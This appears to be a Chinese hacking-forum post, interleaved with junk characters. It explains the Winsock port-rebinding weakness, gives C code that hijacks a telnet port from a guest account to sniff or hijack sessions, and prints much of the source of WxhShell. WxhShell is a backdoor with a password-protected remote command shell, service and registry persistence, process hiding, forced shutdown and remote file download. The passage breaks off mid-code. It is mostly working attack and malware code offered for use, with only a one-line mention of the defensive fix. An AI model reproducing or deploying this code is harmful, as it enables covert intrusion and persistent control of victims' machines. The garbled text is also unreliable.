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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w7pX]<?R" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a"g\f{v0AR f61vE saddr.sin_family = AF_INET; bvhV Q\xDAOEL saddr.sin_addr.s_addr = htonl(INADDR_ANY); DXO'MZon3 kqo4
v;r bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 3syA$0TZt p*@t$0i 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ScVbo3{m*T 4u41M,nJQd 这意味着什么?意味着可以进行如下的攻击: [GI2%uA0 g@/}SJh/> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {]m/15/$C mO]dP;, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y[S9b(:+ r_tt~|s,> 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (47la$CR j*f\Z!EeZ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 i=P}i8,^= hV)
`e"r\s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >X"\+7bw 0blbf@XA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {36N=A z_{_wAuY 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;}ThBb3 =9p3^:S #include F1M:"-bda #include
\ Gi oSg #include Q6
m.yds #include Up_"qD6 DWORD WINAPI ClientThread(LPVOID lpParam); M&9urOa` int main() 1B~Z1w { "}-S%v`)z WORD wVersionRequested; 3%Q9521 DWORD ret; d(b~s2\i WSADATA wsaData; QX=x^(M$m BOOL val; 1O,8=,K2a SOCKADDR_IN saddr; itc\wn SOCKADDR_IN scaddr; 44YKS>Cq int err; `}bvbvmA SOCKET s; I-Ut7W SOCKET sc; =1
S%E int caddsize; :l iDoGDi HANDLE mt; )24M?R@r DWORD tid; C[#C/@ wVersionRequested = MAKEWORD( 2, 2 ); dq'f
>Sz} err = WSAStartup( wVersionRequested, &wsaData ); 3Z#WAhfS: if ( err != 0 ) { ?*7Mn` printf("error!WSAStartup failed!\n"); -g|ji. return -1; @^ m0>H } fd>&RbUp saddr.sin_family = AF_INET; asCcBp p7r/`_'| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 tp&|*M3 A%^7D.j saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @tD (<*f+ saddr.sin_port = htons(23); m_`%#$s} if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 'lu3BQvfh { ?`O^;f printf("error!socket failed!\n"); S QGYH return -1; Un
T\6u } HXZ,"S val = TRUE; O.xtY@'" //SO_REUSEADDR选项就是可以实现端口重绑定的 /Bh*MH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?k;htJcGv { &CN(PZv printf("error!setsockopt failed!\n"); $p$p C/:% return -1; iJmzVR+ } x.] tGS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8gt&*;'}*D //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x7G*xHJ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #V#!@@c;? wQ@:0GJH if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Z{yH:{Vk
{ 0\@oqw]6hv ret=GetLastError(); ?N!kYTR%} printf("error!bind failed!\n"); ;_E|I=%'E return -1; 8VO];+N } P*VZ$bUe5@ listen(s,2); zZ<* while(1)
~vM99hW { Np r u caddsize = sizeof(scaddr); >'.: Acn //接受连接请求 v7`{6Pf_$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4i+%~X@p if(sc!=INVALID_SOCKET) J1~E*t^ { f:J-X~T_f mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i27)c)\BM if(mt==NULL) BpYxH#4 { n&?)gKL0g printf("Thread Creat Failed!\n"); Dh?I break; Z,Us<du } WjM7s]ZRv } K{"hf:k CloseHandle(mt); W-/V5=?
} {>~9?Xwh closesocket(s); )58~2vR WSACleanup(); CA5`uh return 0; N3@[95 } g-"G Zi DWORD WINAPI ClientThread(LPVOID lpParam) c$tX3ug6I { $60`Hh 4/ SOCKET ss = (SOCKET)lpParam; >V)"TZH SOCKET sc; gw[Eu>I unsigned char buf[4096]; !@N?0@$/ SOCKADDR_IN saddr; uN>5Eh&=Pf long num; h8(>$A- DWORD val; Q>rr?L` DWORD ret; cY kb3( //如果是隐藏端口应用的话,可以在此处加一些判断 a
}*i [ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 rPGj+wL5- saddr.sin_family = AF_INET; p3{Ff5FZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DZ\K7- saddr.sin_port = htons(23); N@}h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;B[(~LCyT { rKyulgP printf("error!socket failed!\n"); c<MF:|(} return -1; =+ >>l0=_v } hh*('n>[ val = 100; h&}iH if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kw]?/s` { Z[ (d7 ret = GetLastError(); N
fG9a~ return -1; ?# _{h } NMf#0Nz- if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n_9Ex&?e { $j<KXR ret = GetLastError(); voN~f> return -1; UXJblo# } [wnp]'+! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #9!7-!4pW { -GHd]7n printf("error!socket connect failed!\n"); ih^FH>@ closesocket(sc); oZd 3H closesocket(ss); $/;K<*O$ return -1; Yv@n$W`: } WQ%O/ while(1) bE'{zU}o { 0gaHYqkA>} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
OWT%XUW= //如果是嗅探内容的话,可以再此处进行内容分析和记录 q`IY;"~ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C c:<F_UI num = recv(ss,buf,4096,0); Sp:w _;{# if(num>0) Rb&9!z send(sc,buf,num,0); <r t$~} else if(num==0) +qC[X~\ break; F@f4-NR> num = recv(sc,buf,4096,0); -D'XxOI if(num>0) &0-oi Y send(ss,buf,num,0); JcmJq
fR else if(num==0) 'Kbrz break; wL="p) TO. } /W BmR R closesocket(ss); QDJ
"X closesocket(sc); CW?Z\ return 0 ; h@G~'\8t } 83t/\x,Q cGgfCF^` ?Y,^Moc: ========================================================== 'xxM0Kn` 7H< IO` 下边附上一个代码,,WXhSHELL *URT-+' S_Wq`I@b ========================================================== "V26\ s_VcC_A #include "stdafx.h" 9*ZlNZ
sg2% BkTI #include <stdio.h> E1OrL.A6 #include <string.h> }P.Z}n;Uj #include <windows.h> ;<m`mb4x[ #include <winsock2.h> ".(vR7u' #include <winsvc.h> D_czUM #include <urlmon.h> \WE&5
9G M.- {-> #pragma comment (lib, "Ws2_32.lib") ?dCwo;~ #pragma comment (lib, "urlmon.lib") PRaVe,5a n{sk #define MAX_USER 100 // 最大客户端连接数 "YgpgW #define BUF_SOCK 200 // sock buffer kodd7 AD #define KEY_BUFF 255 // 输入 buffer nk%v|ZxoFv k)S1Z s~G #define REBOOT 0 // 重启 0
h!Du|? #define SHUTDOWN 1 // 关机 L#byYB;E{ T[k$ [ #define DEF_PORT 5000 // 监听端口 |y eQz 0h*Le #define REG_LEN 16 // 注册表键长度 <;PKec #define SVC_LEN 80 // NT服务名长度 J*$%d1 $$1t4=Pz // 从dll定义API "}*D,[C5e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wb?k typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ge
GhM>G typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [=q/f2_1. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =N\; ?eF( L4m Vk // wxhshell配置信息 xS/W}-dPv struct WSCFG { s!/lQo5/ int ws_port; // 监听端口 `M6"=)twu char ws_passstr[REG_LEN]; // 口令 jo<xrn\ int ws_autoins; // 安装标记, 1=yes 0=no i`r`Fj}-S- char ws_regname[REG_LEN]; // 注册表键名 BL16?&RK char ws_svcname[REG_LEN]; // 服务名 Nb&j?./ char ws_svcdisp[SVC_LEN]; // 服务显示名 3U{
mC}F char ws_svcdesc[SVC_LEN]; // 服务描述信息 d,98W=7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ',0:/jSz int ws_downexe; // 下载执行标记, 1=yes 0=no m.Zy$SDj( char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" y2#>a8SRS char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nJN-U+)u M
x#L|w`r }; ]wU/yc)e 6Lq`zU^ // default Wxhshell configuration Gd%i?(U,R struct WSCFG wscfg={DEF_PORT, CE`]X;#y "xuhuanlingzhe", P>X[} 1, VRQ`-# "Wxhshell", M8X6!"B$Y "Wxhshell", {f#QZS!E "WxhShell Service", I$t8Ko._" "Wrsky Windows CmdShell Service", -!1=S: S "Please Input Your Password: ", uNyN[U 1, 5cIZ_# " http://www.wrsky.com/wxhshell.exe", EyA
ny\" "Wxhshell.exe" CsA (oX }; vu*e*b$} ?Te#lp;`~ // 消息定义模块 8Re[]bE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /GO- char *msg_ws_prompt="\n\r? for help\n\r#>"; <@;}q^` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r";
|gO7`F2 char *msg_ws_ext="\n\rExit."; T(?w}i char *msg_ws_end="\n\rQuit."; k;+TN9 char *msg_ws_boot="\n\rReboot..."; h8`On/Ur_8 char *msg_ws_poff="\n\rShutdown..."; M=liG+d char *msg_ws_down="\n\rSave to "; A[+)PkR *HR
pbe2 char *msg_ws_err="\n\rErr!"; );d 07\V char *msg_ws_ok="\n\rOK!"; j9>[^t3U Unb2D4&' char ExeFile[MAX_PATH]; KSchgon0V int nUser = 0; <!Cjq,Sk7 HANDLE handles[MAX_USER]; h$'6."I int OsIsNt; Ra|P5 l!x+K& SERVICE_STATUS serviceStatus; _HHvL= SERVICE_STATUS_HANDLE hServiceStatusHandle; #kM|!U= 6T$=(I <4 // 函数声明 ,yltt+e int Install(void); AyO%,6p[ int Uninstall(void); f-|?He4O] int DownloadFile(char *sURL, SOCKET wsh); KBB)xez8 int Boot(int flag); 4)w,gp void HideProc(void); Z|n|gxe int GetOsVer(void); {O2=K#J int Wxhshell(SOCKET wsl); +s}&'V^ void TalkWithClient(void *cs); q!:dZES int CmdShell(SOCKET sock); $M)i]ekm int StartFromService(void);
U=~?ca int StartWxhshell(LPSTR lpCmdLine); &6vaLx [WR"#y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !YAX.e VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7?whxi Qs -4Hb]#*2 // 数据结构和表定义 ,6{z SERVICE_TABLE_ENTRY DispatchTable[] = MWv@]P_0p! { 7(+4^ {wscfg.ws_svcname, NTServiceMain}, 'Eur[~k {NULL, NULL} Ljm`KE\Q;t }; `#ruZM066 n\((#<& // 自我安装 v@%4i~N int Install(void) ~x,_A>a { ]%A> swCpn char svExeFile[MAX_PATH]; bs"J]">(N HKEY key; EN2t}rua strcpy(svExeFile,ExeFile); 4C3_gm Nj4CkMM[3 // 如果是win9x系统,修改注册表设为自启动 ]oV{JR] if(!OsIsNt) { D-BT`@~l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RdPk1?}K RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i"a3POV> RegCloseKey(key); nm1dd{U6^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [L+*pW+$\. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
d78 [(; RegCloseKey(key); @6'~RD. return 0; 5K1cPU~o_b } O"'xAPQW } 'd$RNqe } ts,r,{ else { */M`KPW {nwoJ'-V // 如果是NT以上系统,安装为系统服务 {jO+N+Ez9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); L6_%SGY_iE if (schSCManager!=0) s<{ Hu0K$ { (-WRZLOQ SC_HANDLE schService = CreateService t\ oud{Cv ( |)!f".` schSCManager, .3C::~: wscfg.ws_svcname, cZBXH*-M! wscfg.ws_svcdisp, ,kJ7c;:i SERVICE_ALL_ACCESS, >O\+ 9T@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CK n2ZL SERVICE_AUTO_START, _dm0*T ? SERVICE_ERROR_NORMAL, @KL&vm(F$ svExeFile, F^gTID NULL, Bn]=T NULL, Dq<la+VlO NULL, 6HK1? NULL, )=Z;H"_ NULL 32 i6j ); ^Ye(b7Gd if (schService!=0) sg7h&<Xx { CnB[ImMs(A CloseServiceHandle(schService); h}@wPP{ CloseServiceHandle(schSCManager); YjDQ`f/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gFp3=s0~ strcat(svExeFile,wscfg.ws_svcname); -kk7y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G~1;_' RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !-OZ/^l|O` RegCloseKey(key); !=:>y WQ return 0; \B4H0f } id:,\iJ } XA!a^@<H CloseServiceHandle(schSCManager); 3l?|+sU>O } AT1cN1:4? } R/v|ZvI o08g]a return 1; D@La-K*5 } veq3t$sj A8&@Vxdz // 自我卸载 ;=,-C;` int Uninstall(void) #$BFTlm| { }eVDe(7_ HKEY key; 3tf_\E+mIi et+lL"& if(!OsIsNt) { B9NUafK= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X6
BIZ RegDeleteValue(key,wscfg.ws_regname); IRQtA
Z V$ RegCloseKey(key); i) e6U(H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,CyX*k8o RegDeleteValue(key,wscfg.ws_regname); &'/"=lK RegCloseKey(key); (O J/u)W^ return 0; O6Py } 5&s6(?,Eu } ura&9~ } p"hO6b%V else { 0;TiNrzg c]Epg)E SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uNn1qV if (schSCManager!=0) v,}C~L3 { W5Z-s.o SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :<P4=P P if (schService!=0) GPHb- { +
-Rf@ if(DeleteService(schService)!=0) { 6HCg<_j] CloseServiceHandle(schService); G K~A,Miqk CloseServiceHandle(schSCManager); @LI;q return 0; H7+z"^s* } 6 EqN>. CloseServiceHandle(schService); 3yRvs;nWS } B7uK:J:c*H CloseServiceHandle(schSCManager); ]z'L1vQl7 } \L(jNN0_R } o?}dHTk7 t,%m-dU return 1; c-hc.i}! } "^z%|uXkf 8)8~c@ // 从指定url下载文件 y0p=E^QM int DownloadFile(char *sURL, SOCKET wsh) fC'u-m?!Q' { sX6\AYF1M HRESULT hr; y<6Sl6l* char seps[]= "/"; ^4`x:6m char *token; p'LLzc## char *file; $EY[CA
E char myURL[MAX_PATH]; Xi"9y @ char myFILE[MAX_PATH]; &qWg$_Yh cV>?*9z0 strcpy(myURL,sURL); p|-> z token=strtok(myURL,seps); 6kp)'wz` while(token!=NULL) A~Sc ] M { (DvPdOT+3 file=token; WILa8"M token=strtok(NULL,seps); f.J^HQ_ } |I1,9ex a.<XJ\ GetCurrentDirectory(MAX_PATH,myFILE); {BlTLAKm strcat(myFILE, "\\"); s7yKxg+`{ strcat(myFILE, file); !y_L~81? send(wsh,myFILE,strlen(myFILE),0); fwt+$`n send(wsh,"...",3,0); ?jMM@O`Nu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m)66g]F+ if(hr==S_OK) QswPga(- return 0; |rJN else \
R}I4' return 1; $DH/ sRT5i9TQ } 2#$7!`6K
*1v3x:pQ' // 系统电源模块 s@~3L int Boot(int flag) `Zuo`GP*1 { [cDDZ+6 HANDLE hToken; (zsmJe TOKEN_PRIVILEGES tkp; aW:*!d# >AV9 K if(OsIsNt) { 3q/"4D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j6^.Q/{^ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^kK")+K tkp.PrivilegeCount = 1; pWzYC@_W
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a`yCPnB( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4;~xRg;u&* if(flag==REBOOT) { ww
%c+O/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DOtz return 0; H$?MPA-c } 2A else { ~L&z?'V if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |goBIp[ return 0; Ow?~+)
4 } '2l[~T$* } @}UOm-M else { O(evlci if(flag==REBOOT) { 9*j"@Rm if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )X#$G?|Hn return 0; uq6>K/~D } "xC$Ko _ else { w\
'5lk," if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M GC=L . return 0; 9Q(Lnu } %}b } vB7]L9=@" }c8e t'HYf return 1; %m lH } lz0dt<8eP 8B6(SQp% // win9x进程隐藏模块 U{EcV%C2 void HideProc(void) oSYJXs { ]p(es,[ CA|W4f} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /!&eP3^ if ( hKernel != NULL ) ?a+J4Zr3 { [EPRBK`= pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3J4OkwqD ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uAYDX<Ja9 FreeLibrary(hKernel); 0Q> } FFwu$S6e HRahBTd(z return; BpFXe7 } ^,'KmZm= s#8}&2#l // 获取操作系统版本 y1Br4K5C int GetOsVer(void) kazgI>"Q8 { I&8!V)r) OSVERSIONINFO winfo; Wf:X)S7 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "JF GetVersionEx(&winfo); siuDg,uqK5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U>b.MIBX return 1; <!W9EM else sFfargl return 0; \SmYxdU'> } T;kh+i Ktuv
a3=>N // 客户端句柄模块
+;@R&Y int Wxhshell(SOCKET wsl) ak}ke { F+zHgE SOCKET wsh; j*VYUM@y1\ struct sockaddr_in client; IL&R&8' DWORD myID; =AK6^v&on }e"2Nc_UG while(nUser<MAX_USER) OpOR! { 5=<fJXf5y int nSize=sizeof(client); Jk<b#SZ[b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v>hc\H1P if(wsh==INVALID_SOCKET) return 1; NCkrf]*F- l0!`>Xx[b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !9C]Fs*`? if(handles[nUser]==0) v~^*L iP+ closesocket(wsh); *~#`LO else {R~L7uR@O nUser++; 3gCP?%R } Kv5 !cll5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6XhS
g0s X=Y>9 return 0; =6'D/| 3 } ;M#D*<ucI: >\Iy <M // 关闭 socket Em<J{`k6 void CloseIt(SOCKET wsh) 5n2}|V$VqP { z\J#d 1e closesocket(wsh); &C/,~pJ1S nUser--;
o2y
#Yk ExitThread(0); SsL>K*t5 } tdi}P/x ,-1taS // 客户端请求句柄 }WNgKw void TalkWithClient(void *cs) ]waCYrG<sY { <ot%>\C / vzwokH SOCKET wsh=(SOCKET)cs; rYyEs
I#qo char pwd[SVC_LEN]; g3w-Le&T char cmd[KEY_BUFF]; nza^<DlS char chr[1]; SP|Dz,o int i,j; V+y:!t` wqn}t] while (nUser < MAX_USER) { wGpw+O y?s#pSX;N if(wscfg.ws_passstr) { l0wvWv*k if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f;W>:`' //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BjUz"69 //ZeroMemory(pwd,KEY_BUFF); y-7$HWn i=0; ps]s
Tw while(i<SVC_LEN) { J}&xS< 8+~|!)a // 设置超时 0K^G>)l fd_set FdRead; m}-~VYDj struct timeval TimeOut; p~u11rH FD_ZERO(&FdRead); ~u80v h' FD_SET(wsh,&FdRead); 0V#eC TimeOut.tv_sec=8; @|o^]-, TimeOut.tv_usec=0; '"Dgov$q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u/74E0$S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P-lE,X
$66 DyK? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I^y,@EHR pwd =chr[0]; O7Awti-X
if(chr[0]==0xd || chr[0]==0xa) { }qdGS<{ pwd=0; !eB&3J break; Ll6|Wh X } e0u*\b i++; H!{Cr#= } uw&'=G6v @MGc_"b // 如果是非法用户,关闭 socket iu.+bX|b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);
XS"lR | } yu62$d c_bIadE{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); itIzs99j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :~]ha ?)#}Nj<R while(1) { faaFmEC >sE{c>R% ZeroMemory(cmd,KEY_BUFF); mH} 1Zy A
ptzBs/ // 自动支持客户端 telnet标准 e?~6HP^%. j=0; T#sKld while(j<KEY_BUFF) { I_@XHhyVZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i;B)@op.# cmd[j]=chr[0]; s5ddGiZnBT if(chr[0]==0xa || chr[0]==0xd) { U.QjB0; cmd[j]=0; H<YS2Ed break; O>`DR0 } m-No 8)2yA j++; 7[W!Nx } Rm!Iv&{ @RF!p // 下载文件 {__"Z< if(strstr(cmd,"http://")) { 6rOd80\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); sjV>&eb if(DownloadFile(cmd,wsh)) !j?2HlIK+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); _/5mgn<GK else H{CG/+x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E7qk>~Dg } qTL] else { @{!c [{x,T 0X3kVm< switch(cmd[0]) { [MKL>\U *:3`$`\54 // 帮助 EBN'u&zX case '?': { @9^ozgg send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~vIQ-|8r: break; (1(dL_? } >;.'$- // 安装 (r?41?5K case 'i': { LHb(T`.= if(Install()) ^H1B62_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8D U|j-I8 else EsU-Ckb_2: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +," /z\QO break; P'6eK? } 4b B)t# // 卸载 B6iH[dTy_ case 'r': { @m[r0i0J" if(Uninstall()) 195m0'zda send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Bp7LtG92 else h$EH|9HAb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {WJ+6!v break; ;|f|d?Q\ } \ueo^p]_? // 显示 wxhshell 所在路径 pAo5c4y!4 case 'p': { E1'HdOh&z char svExeFile[MAX_PATH]; gSP]& _9j strcpy(svExeFile,"\n\r"); J]A!>|Ic strcat(svExeFile,ExeFile); -Fe))Y'= send(wsh,svExeFile,strlen(svExeFile),0); 2R2ws.} break; {re<S<j& } lV-b // 重启 `r:n[N=Y& case 'b': { {f\/2k3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kqfO3{-;{: if(Boot(REBOOT)) tB_GEt2M send(wsh,msg_ws_err,strlen(msg_ws_err),0); f\}fUg2 else { $]eITyC`P closesocket(wsh); %># VhK ExitThread(0); %(IkUD } 9"3 7va break; K"O+`2$ } I65W^b4y // 关机 gUs.D_* case 'd': { 0?KY9 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T\VKNEBo if(Boot(SHUTDOWN)) SM2QF send(wsh,msg_ws_err,strlen(msg_ws_err),0); P\B ]><!ep else { /d*0+m8 closesocket(wsh); F/FUKXxx ExitThread(0); I5l5fx } 'a`cK;X9F break; YQWGv,47\ } )A}u)PH4O // 获取shell dC$z q~q case 's': { "#d>3M_ CmdShell(wsh); RCSG.*% %I closesocket(wsh); 0>?%{Xy ExitThread(0); d|!FI/ break; 2 HNKq< } d7.}=E.L // 退出 ^u@"L case 'x': { {2EIvKu3: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )aov]Ns CloseIt(wsh); bhqBFiuhH break; |kPjjVGF{ } '%.:97 // 离开 b!C\J case 'q': { K!c "g,S send(wsh,msg_ws_end,strlen(msg_ws_end),0); rz%8Vigb closesocket(wsh); xx`xDD WSACleanup(); y3^<rff3Gc exit(1); mhZ{}~ break; K}e%E&|> } &eL02:[ } $9!2c / } +ML4.$lc^ 1 ]Q;fe // 提示信息 N8!V%i? if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F<K;tt } cI~uI' } z']TRjDbT 4PtRTb0<i3 return; 0x&-/qce6W } 5G!0Yy[' >/@wht4- j // shell模块句柄 Ah5`Cnv int CmdShell(SOCKET sock) J?]wA1 { I!FIV^}Z( STARTUPINFO si; 3K2B7loD)~ ZeroMemory(&si,sizeof(si)); y:t@X~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tk'1o\@p9b si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rucgav PROCESS_INFORMATION ProcessInfo; @ev"{dY char cmdline[]="cmd"; N`3q54_$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }HB>Zb5 return 0; vGe]; } 0_F6t- B 2p/ // 自身启动模式 :w|ef; int StartFromService(void) GtR!a { ! =(OvX_< typedef struct &PQhJ#YG { S$~T8_m^U DWORD ExitStatus; #0HZ"n DWORD PebBaseAddress; S T#9auw DWORD AffinityMask; ,X+LJe$ DWORD BasePriority; _yH{LUIj ULONG UniqueProcessId; =E6ND8l@2 ULONG InheritedFromUniqueProcessId; +,7nsWV } PROCESS_BASIC_INFORMATION; yx0wR PIk2mX/D_6 PROCNTQSIP NtQueryInformationProcess; in-|",O`Z t zn1| static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]ySm|&aU static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; > 2)@(f~g 9:DT+^BB HANDLE hProcess; !3O8B0K)v PROCESS_BASIC_INFORMATION pbi; O52B 73Zx`00 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6,wi81F,} if(NULL == hInst ) return 0; 2IfcdYG p**Sd[| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {KQ-QKxxS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); onqifQ NtQueryInformationProcess = 